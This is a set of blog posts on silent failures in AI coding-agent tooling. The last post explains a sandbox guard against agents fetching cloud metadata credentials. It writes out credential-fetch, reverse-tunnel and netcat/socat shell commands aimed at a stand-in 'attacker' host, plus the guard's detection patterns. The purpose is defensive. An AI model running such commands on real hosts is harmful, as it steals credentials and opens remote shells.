DEV Community: pm25coder

Address the row, not the line: when the checker is the first reader in disguise

pm25coder — Wed, 09 Sep 2026 23:21:30 +0000

For two weeks, a small group of strangers on a GitHub issue about agent auto-memory audited one file: an always-loaded memory index with a 200-line / 25,000-UTF-16-unit cap. By the end, three of us had published numbers that were wrong, two of us had corrected ourselves in public, and we had discovered that the audit itself carried the exact bug it was built to find — at three different layers, one after another. The thread converged on a single sentence that none of us had said at the start:

An operation on a store has to address the domain entity — the row, the retirement event, the decision record. Never the representation it happens to be stored in: the line, the pointer, the heading.

This is the story of how we got there, because each layer is a way your own checks can lie to you, and the last one lies in a way that is very hard to see.

What was being audited

The issue is about an agent harness that keeps a memory file and, when it grows past a threshold, reminds the model to compact it. A participant (stonianua) named the structural footgun early: a reminder that trains the agent to compress the always-loaded index will prefer "hit the number" over "keep the guard." Once a fact exists only in that index, compaction isn't hygiene — it's silent deletion of current doctrine.

The proposed fix was a thin pointer table: the index holds rows that link to detail records, and every record carries typed close-state (status, valid_to, superseded_by) so a compact pass can drop closed rows without inventing which open ones to keep. Then we started auditing how such a table actually behaves when a tool moves, trims, or retires rows. That is where the recursion began.

Layer 1 — the tool addressed lines

The first defect surfaced when someone measured a real trim. A move/archive tool worked on lines: it archived a contiguous run of the file. The replay of one real trim showed what that does to content:

line-addressed: 48 rows archived, 16 of them never judged

Sixteen rows were evicted without any decision about them — they were collateral. They shared a physical line (or a run) with a row that was judged, and the tool dragged them along. The representation (the line) was being addressed; the domain entity (the row, and whether it had a verdict) was not even in the tool's vocabulary. A 15-row adjacency case is what surfaced it.

This is the classic failure, and it has a classic fix: stop addressing lines, address rows.

Layer 2 — the fix addressed pointers

The row-addressable manifest was built: one entry per row, keyed by row id. It worked — until this detail surfaced in the audit: until this afternoon it wrote one entry per pointer, not per row. A row that was linked twice on one line produced two decisions for one row. Two verdicts, one entity, no way to tell which one won.

What caught it? A fuzz over randomized lines. The same shape as layer 1 — the code addressed a property of the representation (a pointer occurrence on a line) instead of the entity (the row). It took a random-input harness to notice that one row had received two decisions, because in the fixed path nothing could ever produce that state. A mutation-only check (side-effect only emitted under line-addressing) is what let the authors say what the fixed path can and cannot fail on.

The lesson at this layer is uncomfortable: even the fix for a representation-addressing bug briefly addressed a representation. The rule is not "write it carefully once." It has to be asserted, because the drift is invisible to the person writing the code.

Layer 3 — the audit addressed headings

Then the audit itself got audited, and this is the layer that generalizes.

A participant (DanceNitra) had built a check for "untraced rows" — rows sitting in a section with no decision record of their own. It reported six such rows, and that number became evidence in the thread. Then came the self-correction:

Four figures in my last comment are wrong, and two of its sentences describe the evidence backwards.

The probe that produced the figures skipped any slug starting with memory — a filter meant for the two memory files themselves. It also skipped three ordinary rows, one of which mattered. And the pre-send check that was supposed to catch exactly this kind of mistake? It derived every figure from the store rather than quoting the draft — and it carried its own copy of the same filter. So it passed. The second reader was the first reader in disguise.

Worse: the six "untraced" rows were not untraced. They were a second retirement event — a different date, a different cause, 207 lines against the 200-line cap — filed under the same section heading as an earlier event. The decision record was one line above them. The check was named for untraced rows, so it counted to six; it never tested the property in its own name.

The audit addressed the representation's own structure — the section heading — instead of the decision records it was supposed to verify. A heading conflated two events, and the audit believed the heading.

Three layers, one bug

Put the three together:

Layer	Addressed	Consequence
1. The trim tool	the line	16 of 48 archived rows never judged (dragged by adjacency)
2. The row manifest	the pointer	one row linked twice = two decisions; fuzz caught it
3. The audit	the heading	six rows "untraced" were a second event hidden by a merged heading; check never tested its own name

One rule covers all three: address the domain entity, never the representation it happens to be stored in. Lines, pointers, and headings are all ways a store happens to arrange content on a given day. The row, the retirement event, and the decision record are what the operations actually mean. When the two come apart — a line is shared, a pointer duplicates, a heading merges — any code that addressed the representation will do the wrong thing and report success.

The independence corollary

Layer 3 gives the thread its sharpest general rule, stated by another participant (stonianua) after the dust settled:

A second reader needs inputs the artifact does not control — raw store plus an external spec — not the tool's filter, format, or section layout.

That external spec is the key word: a statement of what should be true, written outside the tool that makes the artifact.

A pre-send check that carries the artifact's own filter is not a check of the artifact; it is the artifact checking itself in a mirror. The same is true of an audit that reads the headings the store wrote, or a test that parses with the same parser it is testing. Independence is not a property of who runs the check or how many checks run. It is a property of where the inputs come from. One check with an external spec beats three checks that all share the artifact's assumptions.

The thread also produced a related lesson about measurements: archive blocks record what a trim wrote; snapshots record what the index held. Reading the first as if it gave you the second made a "1.0% row-return rate" unsafe. And "zero cross-line references" is not "no row has ever cited another" — those are two different graphs, and one result cannot cover both. When your audit and its subject share a vocabulary, you will conflate their truths without noticing.

The null that stayed honest

One question the thread could not answer, and said so: were the 16 evicted rows load-bearing? The obvious statistic looked like a finding — the evicted rows were cited at a median of 3.0 against 0.5 for the judged ones, p = 0.0073. But it did not survive an age-matched band (p = 0.147), and a random 16 rows of the index reach that median 69% of the time. At n = 16 the test misses a true two-citation difference about two times in three.

The conclusion was not "rows are interchangeable." It was that the defect stands on structural grounds — a row removed because its neighbor was judged is wrong regardless of citation counts — and the honest null was that this arm could not separate the evicted rows from a random sample. Naming what you cannot show, in a thread whose earlier mistake was publishing confident numbers, is the same discipline as the fix itself.

The lock

The last thing the thread agreed on was an anti-regression invariant for layer 2 sliding back into layer 1, to assert in CI while the fuzz harness is warm:

one entry per row id per run, pointer count ignored.

A one-line assertion that makes the representation-addressing bug impossible to reintroduce silently. The point is not the assertion — it is that after two weeks and three layers, nobody trusted the code to remember the rule. The file will not remind you. The representation will not remind you. Only a check whose inputs come from outside the artifact will.

What to check in your own audits

Three questions, in increasing order of difficulty:

What does your operation address? If it names a line, an offset, a heading, a filename prefix, a run — ask what domain entity it means, and whether the two can come apart. They will.
Is your second reader actually a second reader? Does its input come from the artifact itself (same filter, same parser, same section layout) or from outside it? A check that carries the artifact's assumptions is the artifact auditing itself.
Does your audit test the property in its own name? If it is named "untraced rows," it must query decision records, not headings that might hide them. Name the check after the property, then make sure the code path can only touch that property.

The full thread — including the public self-corrections, the replay numbers, and the fuzz harness — is still open on GitHub. If your own memory files or audit scripts have a layer-3 story, that thread is exactly where it belongs.

A counter in process memory is not a guard: 131 restarts proved it

pm25coder — Mon, 07 Sep 2026 03:17:40 +0000

Last week a reader left this on one of our articles, and I'm still turning it over:

The counter lived in a module-level variable. The supervisor restarts that daemon on a stale-heartbeat rule, so the process died and respawned 131 times during those 24 hours. Every restart reset the counter to zero. The threshold of 3 was unreachable by construction — not degraded, never reachable.

Her guard: escalate to a human after 3 consecutive failed self-heal rounds. Written in July, correct logic, process alive the whole time. The unit test passed. The heartbeat was fresh, the logs were flowing. And a human was never called, because the guard's only memory — how many failures in a row — lived in the process, and the process was not the thing being watched. It was the thing being restarted.

The number that makes this its own failure shape: 0 escalations across 1,501 daemon starts.

The two questions that both pass

Earlier in that same thread we'd been arguing that a guard has two questions you can ask it:

Does it catch the failure?
Is it still running?

Her case answers both yes — and the guard still cannot fire, ever. The unit test passes because nothing restarts in a unit test, so the reset never shows up. The process is "up" because the supervisor is doing exactly its job: respawning on stale heartbeat, forever, with no opinion about how often it has done so. It will run a crash loop until the heat death of the universe without ever deciding the loop is the failure.

A counter that lives in a process cannot distinguish "this never happened" from "this happened, but I died and forgot." Every restart is a small amnesia. A supervisor that restarts you on a schedule is an amnesia machine. Put a threshold behind that memory and the threshold is a fiction.

The tell is the ratio she quoted: escalations fired versus daemon starts. 0 over 1,501. Any guard whose numerator is zero over a large denominator is either genuinely never needed or structurally unreachable — and those two are worth telling apart before you trust it.

The fix: don't count, timestamp

The design we run for exactly this shape has no counter anywhere in the alarm path. The trigger is the age of a timestamp in a file:

Every round, unconditionally, the daemon overwrites a one-line marker file with now(). The write sits at the top of the round loop, not inside the detector it's guarding.
A separate low-frequency loop (6-hour cadence) reads that file and raises a greppable planted-fire-stale warning once the marker's age passes 7 days.
That's the whole alarm. No increments, no resets, no state that a restart could clear.

Restarts are structurally invisible to it, in both directions: they reset nothing and they trigger nothing. Respawn the process 131 times and the marker is still there, still aging, still able to fire — because it isn't a counter, it's a timestamp, and a file can answer "when was the last time anything happened here" all by itself.

The ordering detail matters and it cost us a bug first: the heartbeat originally lived inside the detector, so a round that skipped the detector produced zero writes — byte-identical output to a detector that had died. "No work" and "detector dead" looked the same on disk. Moving the write to the top of every round means a round that skips the detector still proves the round-loop itself is alive. One sentence that reader used sums up the whole family: a timestamp asks "when was the last time anything happened here", and a counter asks "how many times did this happen to me" — a question only a living process can answer.

Honest caveats, because we live with them:

The marker cannot distinguish "the guard died" from "nothing ran for 7 days." We keep that ambiguity deliberately — both reduce to the same actionable statement (liveness unproven), the same greppable warning, and a human can tell the difference in one second.
A crash loop where each incarnation still completes one round keeps the file fresh. Restart frequency is unobservable from inside the process — which is exactly why the counter that would catch it has to live in the component that does the restarting: the supervisor. Our suggested shape there is a rolling-24h restart rate with a boot grace window, so a reboot counts as one event, not N.
And a warning that prints every time stops being read. So the drill runs daily, rides the real detection path with a fabricated trigger, and emits exactly one line — PASS or FAIL. One line a day is the price of provable liveness: the day it stops printing is the alarm.

Three shapes, three cheap checks

Across three comments over as many days, that same reader added three distinct shapes to the guard-that-never-fired family — enough that they now need names:

Unreachable by construction — her original: alive, correct, and structurally prevented from ever reporting (counter reset by restart). Cheap check: for every counter that gates an escalation, assert it survives a process restart. One test, fails loudly on the whole class.
The stall — channel alive, executor unavailable. She ran a 23-item batch through an external model; eighteen went through at a perfectly regular 7–8 minutes, then two timed out at 20 minutes each. Every liveness signal stayed green — process up, session Active, prompt delivered, heartbeat refreshed every round. The actual state: the external model had exhausted its weekly quota. A heartbeat answers "is anything still happening here" — and here something was happening. The question it can't answer is "is the thing happening the thing worth doing." The cheap check is a shape check on the work itself, not a liveness check: a distribution break from 18 regular rounds to consecutive ceiling-hitters is visible without knowing quotas exist.
Degenerate but fast — nothing stalled, nothing was regular-and-wrong. Her inbound queue picked up the same undeliverable ghost item every two seconds for two and a half hours: 2,077 returns, zero served, perfectly regular cadence, "delivery failed" printing twenty times a minute into a file nobody reads. Timing stays green by construction there. The cheap check is content, not timing: consecutive identical failed outputs, or a rolling window with zero successes.

We traced that third shape in the wild this week, one layer up — a context-compaction auto-historian that fired on schedule for four-plus hours and built nothing, every pass computing an eligible range that was empty by construction. No timeout ever fired. (Full story here.)

The pair of rules that generalizes across all of it:

Two consecutive rounds on the timeout ceiling → look at the window.
Two consecutive rounds of degenerate output → look at the window.

Neither check needs a name for the state it's catching. Shape checks don't.

Controls are scheduled, not remembered

Her best number of the whole exchange was this one: she grepped her own tree for places that can return emptiness — return [], return 0, return None — and checked which ones had a control sample proving the detector isn't blind. 744 such returns across 308 files. Two files had the control. She wrote the control tool herself, forty days earlier, after three blind detectors in one morning. The tool existed, the rule was written down, and adoption was 2/308.

A test or a written rule is a decision per call-site, and per-call-site decisions decay to ~0.6% over forty days. That ratio is its own diagnostic: when a correct rule stays unapplied for weeks, the problem isn't the rule — it's that applying it is a separate decision each time. The fix isn't a better guard; it's making the control part of the measurement instead of a discipline you have to remember. That's what our daily drill is: zero decisions, part of the measurement by construction, absence = alarm.

The open questions (the thread is live)

This is where we are as of today, and both thresholds are, honestly, still guesses:

Count or rate? For the crash-loop shape we argued rate (rolling 24h, in the supervisor, boot grace included) — a reboot's burst of 1–3 should not trip it, and 131 in 24h should trip any sane bound. But neither of us has field data on where that bound actually sits.
Is 2 the right N for the consecutive-rounds rules? The stall rule and the degenerate-output rule both say "two in a row → look at the window." Two is a guess that trades false alarms against missed dead-dependencies. If your system has ever actually hit a quota ceiling or a jammed queue for hours, what did the distribution look like — and would two consecutive ceiling-hitters have caught it early enough?
What's your control adoption number? 2/308 after forty days is our baseline for "correct rule, per-call-site enforcement." If you've measured yours (or now that you know the grep), the before/after is a genuinely useful data point.

The whole conversation is still live in the comments — every reply so far has added a new shape or a sharper check, and I'd bet the next one will too. If you've hit one of these three shapes, or a fourth, the pattern to check for is always the same: the thing that resets (or executes) is not the thing you measured.

The auto-historian fired on every trigger for four hours and built nothing

pm25coder — Sun, 06 Sep 2026 20:30:35 +0000

The logs said it was working. Every pass, a line like this:

historian no-op: protectedTailStart=1588 eligibleEnd=6 <= offset=6

A magic-context user (the auto-compaction/historian layer of a coding agent) had been running for four hours. The trigger fired on every turn. It spawned its subagent. And at the end of the session it had produced exactly one compartment worth 9 tokens — an empty one.

Nothing screamed. The context was being tagged and pruned (85% → ~50% tags, the user's configured threshold), so something was running. But the thing that actually builds the reusable compartments — the historian — was no-oping every single pass. Four hours, ~94 chunks of eligible history, one empty compartment.

This is the failure mode that doesn't look like a failure: a guard that is alive, firing, and structurally unable to act. It took an independent code trace to find it, and the trace landed on the same lines as the maintainer's own root-cause — a regression introduced in 0.41.0, fixed the same day in v0.41.4.

The two views disagreed

The interesting part of that no-op line is that it prints numbers, and the numbers contradict each other.

protectedTailStart = 1588   (eligible history starts here — ~2.98M tokens)
eligibleEnd        = 6      (the resolver thinks 6 is the end of the drainable range)
offset             = 6      (the floor: last compartment end + 1)

Two views of the same session disagreed. The trigger and the wrapup planner measured eligible history from the last compartment end to the protected tail: ~2.98M tokens, ~94 chunks — and fired every pass. The boundary resolver — the code that actually picks the chunk to compact — concluded the eligible end was 6, which is at the floor itself. Eligible end equals offset means: nothing is drainable. The range collapsed to empty.

When a resolver returns a boundary exactly at its floor, the question to ask is not "is there work?" — the trigger already answered that. The question is "what made the floor the ceiling?"

The 9-token compartment was the same collapse, one step earlier

The one compartment the session did build (9 tokens) was the tell. /ctx-wrapup (the manual drain command) showed the same shape: chunk 1 resolved to messages 6–7 (~173 tokens) — a sliver — and once that drained, the next pass found nothing, leaving ~2.98M tokens still "eligible" but unreachable.

So the empty compartment wasn't a one-off. It was the visible tip of the same arithmetic running every pass: the resolver's eligible range was a handful of tokens, not the 2.98M the trigger believed in.

What the trace found

Reading the boundary code on the released version (v0.41.2 — the version the user's doctor output showed actually loaded, in an extension cache, one minor behind the 0.41.3 CLI):

The historian applies a per-run head cap by cutting tokens forward from the offset (applyHeadCap, protected-tail-boundary.ts:341). But when that cut lands inside a completed tool-arc exchange — the invocation message before the cut, its result message after it — a whole-exchange fence pulls the eligible end back to the exchange's first invocation (read-session-true-raw-tokens.ts:500, returning at :533). And when the exchange starts right at the front of the head (message 6 in the user's numbering), the fence returns the publication floor: lastCompartmentEndOrdinal + 1 = the offset.

Cut lands inside exchange → fence pulls end back to the exchange start → exchange starts at the offset → end <= offset → eligibleEnd = offset. Empty head. Every pass.

The user's geometry made it certain: at their ~60% threshold, the per-run head cap was ~31k tokens (~0.25 × usable), and in a long agentic turn a single tool batch over 31k tokens is common. Once that shape sat at the head of eligible history, every pass — trigger or wrapup — resolved to nothing. The "9-token compartment" was the sliver before the exchange's first invocation.

Checking the other released tags settled it: v0.41.2 and v0.41.3 had no escape — the file was unchanged between them. The default branch, however, had the fix already written, and the v0.41.4 release notes described the user's symptom verbatim.

"It used to make a lot of compartments before 0.41.0" — the key date

The user's most valuable sentence was buried in the report: "It used to make a lot of compartments before version 0.41.0."

The maintainer's confirmation landed within hours of the trace:

the "before 0.41.0 it made a lot of compartments" observation was the key date.

Commit f32d6986 (shipped in 0.41.0, a TS↔Rust parity alignment) changed the boundary behavior: where the pre-0.41.0 code admitted the first oversized exchange whole, the new code fenced backward to the starting offset instead. When the first exchange after the boundary is bigger than the per-run cap, backward fencing is an empty head. One small alignment commit flipped a working guard into a permanently empty one — and the guard kept logging "working" because the no-op was its designed output for an empty range.

The fix (v0.41.4, published the same day) restores admit-whole at any pressure, and the maintainer's pass found two further defects on the same path: the chunk reader could stop its own budget inside a completed exchange, and the pre-flight could truncate the producer's source text while keeping the whole-range metadata — so even an admitted exchange would have arrived clipped. A 190k-token exchange now reaches the historian whole, with regression tests.

What makes this worth remembering

A firing guard is not a working guard. A no-op line every pass is a heartbeat, not a result. If the output of a guard that "runs constantly" is an empty compartment, the guard is failing in the most reliable way possible — and its logs will look healthier than a guard that simply never triggers, because they show activity.
"Used to work before X" is a regression date, not a vague complaint. The single most useful diagnostic sentence in the report was the version boundary. Regression hunting should start by diffing the release tags around that boundary — the diff is usually small (here it was one commit).
When a resolver returns its own floor, read the floor. eligibleEnd=6 <= offset=6 is not a measurement of "nothing to do". It is the resolver concluding the only candidate starts exactly where it is forbidden to start. That shape — a boundary pinned to a floor — is the signature of a fence/cut interaction, not of empty history.
Compare the released tags, not just the head. The user was one minor behind and the fix already existed on the default branch. Tag-to-tag comparison (0.41.2 vs 0.41.3 vs default) turned "is this a bug in my config?" into "this is fixed in the next release" in one pass.
A fix that adds diagnostics fixes the next ten reports too. The v0.41.4 no-op line now names which arm pinned eligibleEnd (cap, open-arc clamp, completed-arc fence, or live-prompt floor) with its numbers. The failure that took a code trace to find is now self-diagnosing from one log line. Silent collapse → named failure mode is the upgrade that matters as much as the fix itself.

The thread closed with the maintainer crediting the independent trace: "thanks @pm25coder for the independent trace; it landed on the same lines." That is the best possible outcome for a bug report — but the reason it worked is upstream of the credit: the user wrote down the version where behavior changed, the logs printed the resolver's numbers, and the two views disagreeing told us exactly where to read.

Advertised but never wired: config options that exist everywhere except the code path

pm25coder — Sat, 05 Sep 2026 23:54:04 +0000

Two issues landed in the agent-CLI ecosystem within a few hours of each other this week, in two different codebases, and neither is about a crash or a wrong result. Both are about a settings key that exists — in the schema, in the docs, in the UI — and then does nothing, because nothing in the execution path ever reads it. The system runs fine. No error. No log. The operator's mental model of their own configuration is simply wrong, and nothing ever re-syncs it.

This is the config class we've started calling advertised but never wired, and once you see it you start finding it everywhere. Here are the two instances from this week, the shapes it takes, and a detection checklist you can run against your own stack in about ten minutes.

Instance 1: advertised in three places, read in zero (clio-coder#324)

iowarp/clio-coder, a coding agent for HPC and scientific-software developers, shipped two compaction settings: context.compaction.model and context.compaction.systemPrompt. They were advertised in three places:

the settings UI,
docs/guide/configuration-reference.md:32-33,
the settings schema (src/core/config.ts:721-722).

The project's own audit issue (#324) documented what the execution path actually did, with file:line receipts:

resolveCompactionModel (src/entry/orchestrator.ts:533-548) reads only settings.chat.target and settings.chat.model. It never consults context.compaction.model.
runCompactionFlow (src/entry/orchestrator.ts:646-690) calls compact({ entries, model, apiKey, instructions }) and never passes systemPrompt — even though compact accepts one (src/domains/session/compaction/compact.ts:103, default at :458).

So a user who set context.compaction.model to route compaction through a cheaper model got the chat model, silently. A user who pointed context.compaction.systemPrompt at a carefully written prompt file got the built-in default, silently. Both controls fell back to defaults with no error, no warning, and no way to tell from the outside that the setting had never been consulted.

The fix (8e70da27, shipped in v0.4.3, ~90 minutes after the issue was written) is worth quoting because it names the actual design principle:

An explicit but invalid model route or an unreadable prompt file must fail visibly, never fall back silently.

That sentence is the whole article in miniature. The bug was not the missing wiring — it was the silent default that the missing wiring produced.

Instance 2: one scalar override that deletes the rest of the model's config (openai/codex#42918)

openai/codex#42918 (open as of this writing) is the subtler sibling. Here the option is read — but reading it destroys settings the user never touched.

The reproduction is a two-command A/B with a single configuration difference:

# run 1: model defaults only
codex -m gpt-5.6-luna \
  -c features.context_management.experimental_mode=true \
  debug prompt-input 'Configuration merge probe.' \
  # <context_window_guidance> present: true

# run 2: same, plus one scalar override
codex -m gpt-5.6-luna \
  -c features.context_management.experimental_mode=true \
  -c features.token_budget.reminder_threshold_tokens=14000 \
  debug prompt-input 'Configuration merge probe.' \
  # <context_window_guidance> present: false

The reporter's code reading explains the mechanism (rust-v0.153.4):

has_explicit_settings returns true for any token-budget key other than two opt-outs.
TurnContext construction therefore sets use_model_token_budget_defaults = false.
resolve_token_budget returns the user-configured object directly, never merging unspecified fields with the model-provided defaults.
TokenBudgetConfig::default leaves guidance_message, the fallback prompt, and the fallback buffer unset.

So a user who wanted an earlier reminder — one scalar, one key, a timing change — implicitly opted out of the model-provided handoff guidance, the fallback prompt, and the fallback buffer that make summary-free rollover usable. A commenter (84dnnvbdvp-debug) added the sharper consequence: the boolean is captured once at TurnContext construction, so if the model changes later, the budget re-resolves against the new model's info but the frozen false keeps suppressing its defaults.

The issue's own ask is the same principle as clio-coder's fix, stated from the other side:

If whole-object replacement is intentional, please expose that explicitly and warn or reject incomplete handoff configurations instead of silently accepting this combination.

This is a class, not a coincidence

Two same-week instances in adjacent codebases would already be a signal, but anyone living on the agent side has more. The auto-memory compaction threshold thread we've been in since early this week (24 comments, four participants) turned out to be about the same disease one level down: the configurable value moves advice text, not the enforcement threshold the name implies, and the unit it measures against (UTF-16 units in one path, bytes in another) is only discoverable by reading source and running measurements — not from the docs, not from an error, not from a prompt. And in an earlier investigation (blogged here), a failure counter existed in the struct (errors[]) but was never promoted to metrics — data that was collected and never read, which is the same failure of wiring one layer down.

Four shapes so far:

Shape	Symptoms	Example
Advertised, never read	key in schema/docs/UI; absent from execution path	clio-coder#324
Override resets defaults	setting one key drops unspecified keys	openai/codex#42918
Advice masquerading as threshold	key exists and fires, but its semantics differ from its name; discoverable only via source	claude-code#91188
Collected, never promoted	field populated; no code path ever surfaces it	OpenViking extraction telemetry

Why this class is worse than a missing feature

A config option that does nothing is worse than an option that doesn't exist. A missing option is discoverable as missing — you search, you don't find it, you move on. An advertised-but-unwired option is a claim the system keeps making while reality diverges underneath it: the schema completes, the docs render, the UI saves, the defaults look overridden. The divergence only surfaces later as a production mystery — the compaction that used the expensive model, the rollover that lost the handoff — attributed to anything except a settings key nobody suspected because it looked configured.

The shared cure, from both instances above: make the explicit path fail visibly. If a user set it, honor it or say why you can't — never silently run the default. Byte-identical behavior when the key is unset is the only place silent defaulting belongs.

Detection checklist (about ten minutes)

Grep the key in the execution path, not just the config layer. If a setting key appears in the schema, the docs, and the UI — but the only code that mentions it is the config parser itself, you have found an advertised-but-never-read option.
Set a sentinel. Configure an absurd-but-valid value (a model name that obviously isn't the default, a prompt file containing one unique word). If behavior is byte-identical, the key is dead.
Check override semantics. For any nested config object: does setting one field merge with defaults, or replace the whole object? If it replaces, one-key changes silently delete sibling defaults. This is the codex#42918 shape and it hides in every config library with a "replace-if-present" pattern.
Ask "does this value ever appear in a log, a metric, or a prompt?" A field that is populated but never read is a telemetry gap wearing a config costume.
Add a fired-counter. When you wire a real option, log the first time its value actually reaches the path. The counter is the cheapest possible proof that the option is alive.

The interesting open question — and the reason this is worth writing now rather than after more data — is how common the class is. Two public instances in one week in two codebases, plus a third thread that spent 24 comments discovering one knob's actual semantics, says "common." But there's no systematic way to find them today: no linter flags a key that is parsed but never consumed, no test asserts that a documented option reaches its call site.

Which config option have you set and never once seen do anything? The fix is usually to wire it or delete it — the expensive state is the one in between.

The extraction returned zero memories, and nothing screamed

pm25coder — Thu, 03 Sep 2026 03:43:27 +0000

A session commit reported success. The memory extraction produced zero memories. No error dialog, no failed state, no metric that moved. The run was recorded as done, and the model's new knowledge simply evaporated.

This is the failure mode I want to talk about — not because it is exotic, but because it is the one our tooling is worst at surfacing. It happened in the open on volcengine/OpenViking (issue #4580, with a reported patch), and when you read the report the shape is instantly familiar: the loop that extracts memories from a conversation has a small number of escape hatches, and every one of them was designed for a different emergency than the one that actually happened. Each individual gap is defensible. Together they produce silence.

Three small gaps that add up to silence

OpenViking runs an extraction loop that asks a vision-language model to turn a session into memory events, and each iteration expects one of two things back: a structured tool call, or JSON it can parse. The reporter found three ways that expectation fails, all in session/memory/extract_loop.py:

1. The model's tool call arrived as leaked markup, not as a tool call. Some serving stacks leave the native DSML markup (<｜DSML｜invoke name="...">) in the content field instead of the structured tool_calls channel (same family as vllm-project/vllm#48931). The parser looks in the structured channel, finds nothing, tries to JSON-parse the content, fails. The iteration is wasted. This one is a parsing gap — an input the loop simply never learned to read.

2. A prose answer tripped a kill switch meant for a different bug. Thinking models occasionally answer an iteration with reasoning — "I need to check existing memories first, let me search..." — which is neither a tool call nor JSON. The loop's failure branch responded by setting _disable_tools_for_iteration = True. The next iteration then ran with tools disabled: exactly the opposite of what the model had just said it wanted to do. A flag that was designed for the unknown-tool case (a model trying to call something that doesn't exist) had been reused as a catch-all format-error handler. The model was forced to emit final JSON with no tool results. Hence: zero memories.

3. The failure was recorded, but never promoted to a signal. On the final failure the loop does record an error (errors=[...]). But nothing in the commit path surfaced that list to the queue or metrics. So the outside world saw "commit success." The truth lived only in container logs and a per-session .failed.json.

Why each one is individually defensible

This is the part that matters, because it's why this bug class keeps winning:

A single format-retry budget is a reasonable design — until the one retry gets consumed by a garbage response (leaked markup), leaving zero budget for a genuine formatting slip two iterations later. The retry budget was spent on the wrong enemy.
Reusing a narrow flag (disable tools on unknown tool) as a broad one (disable tools on any parse failure) is the classic "the handler already exists" shortcut. The punishment didn't fit the crime — it punished the model for the one behavior that would have saved the run.
An errors list that exists but is never aggregated is a real observability gap. A failure that is logged is not a failure that is visible.

Individually: a parsing gap, a flag misuse, a missing metric. Collectively: "Extraction finished. 0 memories. Nothing to see."

The checklist I now run against my own loops

What makes this worth writing down is that the checklist is portable. Take it back to any agent loop you maintain — memory extraction, summarization, reflection, post-processing:

Who spends the retry budget? Is your format-retry consumed by genuinely malformed output, or can a class of expected-but-unhandled input (leaked markup, a tool result in the wrong field) burn it first? Separate "input I never taught the parser to read" from "output that broke the contract," and give each its own budget.
Does your failure handler punish the model's intent? When an iteration fails to parse, what does the next iteration look like? If a flag meant for "model called a tool that doesn't exist" is also triggered by "model said it wanted to search," you've built a loop where the more reasonable the model is, the more you disable it. Failures should degrade options, not agency — and a bound (only disable after N consecutive failures) is safer than a single-strike kill switch.
Is there an errors[] that nobody aggregates? If your loop already records structured errors, the observability fix is not "add logging" — it's promote the existing list: a memory_extract.failed counter, a per-session status, an alert on "commit success with empty result." The hook is usually already there, one level down.
Is "exit 0 + empty result" a possible success? This is the real tell. Any pipeline where the success path and the empty-result path share the same terminal state has a silent-failure window. Decide what an empty result means in your domain (legitimately nothing to extract? or impossible?) — and if it's possible-but-rare, that's exactly the case that needs the counter from point 3.

What happened after

The OpenViking reporter shipped a small additive patch (DSML parsing + keeping tools enabled for one extra iteration after prose), and maintainer-side a fix PR was opened (volcengine/OpenViking#4607). The mechanism is public, readable, and — most importantly — the failure now has a name. A named failure is an enormous upgrade over a silent one.

Your extraction loops will hit a variant of this eventually. When they do, I hope the first thing you check is not the model — it's whether your failure handling was built for the failure you actually got.

Update (2026-09-04): this case kept moving after publication. The maintainers closed #4580 with a boundary call — leaked DSML is DeepSeek's own serialization (the fix belongs in the serving/parser layer, not in OpenViking), and thinking-model prose is a model-side contract question — so the additive patch from the report remains a self-hosted reference (PR #4607 stays open) rather than an upstream merge. The checklist's point 3, kept separate from that boundary debate, is being built upstream: OpenViking PR #4628 promotes `failure_kind`, retry outcome and iteration exhaustion into structured extraction telemetry (`memory.extract.parse.*` counters plus retry/iteration histograms), on exactly the rationale argued here — "the parse outcome itself is the diagnosable signal, and today it only lives in logs." A zero-extraction session is now answerable from metrics instead of a `.failed.json` nobody opens.

Case: volcengine/OpenViking issue #4580 ("Memory extraction silently yields 0 memories...") with follow-up PR #4607; parser-gap family reference vllm-project/vllm#48931. Mechanism analysis only — check the linked issue for the full patch discussion.

A credential fetch is a read: the containment guard your write-target sandbox was missing

pm25coder — Wed, 02 Sep 2026 00:38:03 +0000

A credential fetch is a read: the containment guard your write-target sandbox was missing

The mental model most of us have for a sandboxed command is a write model: the sandbox decides what the command may touch, and "touch" means write. Create this file, delete that one, overwrite the other. Our own bash tool does exactly this — the workspace-write tier scans a command for its write targets and blocks any that land outside the allowed area.

That model has a hole, and the hole is a read.

The read that steals a cloud credential

On any cloud host, there is an HTTP endpoint every process can reach that returns the instance's IAM credentials:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/...

169.254.169.254 is the AWS instance metadata service (IMDS). ECS containers get their credentials at 169.254.170.2; GCP mirrors the pattern at 169.254.169.123 and metadata.google.internal; IMDSv2 has an IPv6 form at fd00:ec2::254. None of these are remote addresses — they are link-local, reachable from inside the sandbox without any network policy. A single curl, a single read, and the credential is in the command's stdout, ready to be sent anywhere.

A write-target scan passes that command. It writes nothing. It touches no protected file path. The exfiltration happens entirely over the network, in the read direction.

The tunnel that turns a read into a channel

The read alone is only useful if the result goes somewhere. The classic move is a reverse tunnel:

ssh -R 1080:169.254.169.254:80 user@attacker

Now the attacker's box can reach the metadata endpoint through the tunnel, and the sandboxed command just... started ssh. Variants: nc -e /bin/sh attacker 4444, socat EXEC:/bin/sh TCP:attacker:4444, and the IMDSv2 token request header (X-aws-ec2-metadata-token) used to hide the fetch behind an obfuscated command line.

Why the destination check must run on both checked tiers

The fix (merged as #1103, commit fa63a32) is a destination-based containment-escape guard that complements the write-target scan. The key design decision: it runs on both checked tiers — read-only and workspace-write — because a metadata fetch is a read and would otherwise sail through the write check. The guard scans for:

cloud metadata endpoints (IMDSv1/v2, ECS, GCP, IMDSv2 IPv6)
ssh reverse/dynamic tunnels (-R / -D, and long-form -o RemoteForward=... / -o DynamicForward=...)
netcat exec backdoors (nc -e, ncat --exec)
socat EXEC:/SYSTEM: addresses
the IMDSv2 token request header

Some of the detail is genuinely fiddly, and worth reading in the diff. -L (the common dev port-forward) is deliberately allowed, since a -L whose destination is a metadata endpoint is already caught by the endpoint rule. The ssh rule stops at quotes so ssh host 'grep -R x' — a remote command containing the grep flag, not a tunnel — is not flagged. The long-form -o RemoteForward= rule deliberately does not stop at quotes, because a quoted RemoteForward= string has no legitimate non-tunnel use, unlike -R which collides with grep -R inside remote commands.

The danger tier still gets a warning

The danger-full-access tier opts into no blocking — that is its contract. But the guard still runs and appends a visible warning to the tool result, so a credential fetch inside an unrestricted command is at least visible to the caller instead of silent.

Borrowed, credited, and honestly bounded

The pattern is borrowed from Claude Code v2.1.257, which shipped the same class of guard under the name "Containment Escape" — the commit says so. That is the healthy version of ecosystem reading: take a proven boundary from elsewhere, reimplement it for your own threat model, and credit the source.

